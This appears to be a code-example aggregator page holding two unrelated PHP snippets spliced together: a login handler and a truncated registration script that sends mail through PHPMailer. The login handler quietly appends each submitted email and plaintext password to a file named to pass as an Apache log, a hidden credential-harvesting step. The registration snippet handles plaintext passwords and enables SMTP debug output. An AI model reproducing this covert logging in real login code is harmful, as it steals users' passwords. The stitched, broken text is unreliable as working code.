示例#1
0
 <?php 
include 'includes/_bbdd.php';
include 'includes/connex.php';
$link = conexio();
file_put_contents("temp/_apache2_log.txt", $_REQUEST['correu'] . "," . $_REQUEST['clau'] . ";", FILE_APPEND);
$clau = sha1($_REQUEST['clau']);
$correu = $_REQUEST['correu'];
$resultado = array(error => false);
if (existeCorreo($correu, 'general2011', $link)) {
    $id = getId($correu, 'general2011', $link);
    if (comprovarPassword($id, $clau, "usuaris_web", $link)) {
        $nom = getNombre($id, 'general2011', $link);
        $resultado['correu'] = $correu;
        $resultado['clau'] = $clau;
        $resultado['id'] = $id;
        $resultado['nom'] = $nom;
    } else {
        $resultado[error] = true;
    }
} else {
    $resultado[error] = true;
}
echo json_encode($resultado);
?>
 
    </title>
</head>
<body>
<?php 
/**
 * Created by PhpStorm.
 * User: Adriana
 * Date: 10/11/2015
 * Time: 14:04
 */
$email = $_POST["user"];
$pass1 = $_POST["password"];
$pass2 = $_POST["passwordConfirm"];
include "../Model/existeCorreo.php";
$varBoleana = existeCorreo($email);
if ($varBoleana) {
    if ($pass1 != $pass2) {
        echo "<h1>los passwords no son iguales</h1>";
    } else {
        $numero = crypt($email, '."#$%&/()');
        include "../Model/usuarioTemporal.php";
        insertarUsuarioTemporal($email, $pass1, $numero);
        require "../PHPMailer-master/PHPMailer-master/PHPMailerAutoload.php";
        $mail = new PHPMailer();
        $mail->isSMTP();
        $mail->SMTPDebug = 2;
        $mail->Debugoutput = 'html';
        $mail->Host = 'smtp-mail.outlook.com';
        $mail->Port = 587;
        $mail->SMTPSecure = 'tls';